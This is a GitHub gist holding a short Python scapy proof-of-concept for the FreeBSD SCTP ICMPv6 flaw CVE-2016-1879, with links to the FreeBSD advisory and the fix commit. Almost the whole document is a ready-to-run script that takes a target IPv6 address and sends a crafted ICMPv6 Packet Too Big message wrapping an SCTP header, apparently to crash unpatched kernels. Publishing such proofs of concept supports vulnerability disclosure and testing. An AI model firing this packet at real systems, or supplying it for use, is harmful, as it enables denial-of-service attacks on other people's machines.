Last active
January 22, 2016 20:06
-
-
Save takeshixx/5bdd15e3d450c1e29b06 to your computer and use it in GitHub Desktop.
FreeBSD SCTP ICMPv6 error message vulnerability (FreeBSD-SA-16:01.sctp / CVE-2016-1879) PoC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# FreeBSD SCTP ICMPv6 error message vulnerability (FreeBSD-SA-16:01.sctp / CVE-2016-1879) PoC | |
# https://www.freebsd.org/security/advisories/FreeBSD-SA-16:01.sctp.asc | |
# https://github.com/freebsd/freebsd/commit/51f55053b6565d2fe9b61f63460dddc23284a103 | |
import sys | |
from scapy.all import * | |
if len(sys.argv) is not 3: | |
print('{} target_ip interface'.format(sys.argv[0])) | |
exit(1) | |
IP6_DST = sys.argv[1] | |
IF_SRC = sys.argv[2] | |
# Works with ICMPv6DestUnreach(), ICMPv6ParamProblem() and ICMPv6PacketTooBig() | |
packet = Ether()/IPv6(dst=IP6_DST)/ICMPv6PacketTooBig()/IPv6(nh=132, dst=IP6_DST) | |
sendp(packet, iface=IF_SRC) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment